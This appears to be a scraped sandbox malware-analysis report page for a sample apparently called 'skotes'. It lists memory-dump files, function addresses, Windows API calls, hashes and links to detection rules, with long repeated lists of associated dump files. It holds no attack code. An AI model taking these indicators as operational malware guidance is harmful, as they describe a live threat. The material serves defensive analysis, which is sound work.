Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: 37433b3b7787e9186656c0d245994070263aa7dc16e61608101433960eb00eff
Instruction ID: 44d6bc805bfcf249abb21e351cfd483173822f661c1b778a41dfccef39804da6
Opcode Fuzzy Hash: 37433b3b7787e9186656c0d245994070263aa7dc16e61608101433960eb00eff
Instruction Fuzzy Hash: C92148712542008AEB24B76DDC96BFEB6529F81304F204D1BE448D67D1CBBE499191BB

Function 004BA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: 315bb236ea331d8d31ef7159537410bc620314f7bd061696b5c027ec6abf9d74
Instruction ID: 078789c8ab95c91341f2a566f8c4d9b004a401f9b99168692b50a84e63f98ea7
Opcode Fuzzy Hash: 315bb236ea331d8d31ef7159537410bc620314f7bd061696b5c027ec6abf9d74
Instruction Fuzzy Hash: B1216A727102009BEB18EB6CEC85BEDB7A2EB92314F208A1EE814D77D0C77955908267

Function 004ED82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004EA813,00000001,00000364,00000006,000000FF,?,004EEE3F,?,00000004,00000000,?,?), ref: 004ED870

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 71af32bdec5f034908c615291ce22e83fccf937e4400220b3e48b91f279ee7da
Instruction ID: d0dbfc71838d5ed3554f79488ef2f51cec7441b3386c0d11dfddc272e4a00e42
Opcode Fuzzy Hash: 71af32bdec5f034908c615291ce22e83fccf937e4400220b3e48b91f279ee7da
Instruction Fuzzy Hash: D4F0E932E051A466EB213A779C01A5B3759BF41772B148427EC38E7291DA29EC0182E9

Non-executed Functions

Function 004ECBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004ECC66

Strings

vN, xrefs: 004ECBE1

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vN
API String ID: 3213747228-204482171
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: 029cfba34e8025a72eba673cbd6b9b1e12e2f5d5d1f723734f9409a643b43934
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 48B112329002C59FDB158F2AC8C1BBEBBA5EF45345F2441ABE855EB341D6399D03CB68

Function 004B2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 004B2F5F
__Mtx_unlock.LIBCPMT ref: 004B2FCC
__Cnd_broadcast.LIBCPMT ref: 004B2FE3
__Mtx_unlock.LIBCPMT ref: 004B30F5
__Mtx_unlock.LIBCPMT ref: 004B319B

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: c0be0ee5b5e70d1d350fcfcad522b203d6827a8a6455f17d75ff47e731f3aecd
Instruction ID: 7331f1fc97c833289c8d8c08ed8dbfb8ad186251e6baf0da91d1f0da5312b1c0
Opcode Fuzzy Hash: c0be0ee5b5e70d1d350fcfcad522b203d6827a8a6455f17d75ff47e731f3aecd
Instruction Fuzzy Hash: B2A1D274A012059FDB10DF66C944BABB7A8FF15315F04816EE819D7341EB39EA04CBA5

Function 004CBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 004CBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 004CBBE4
_xtime_get.LIBCPMT ref: 004CBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 004CBC13

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
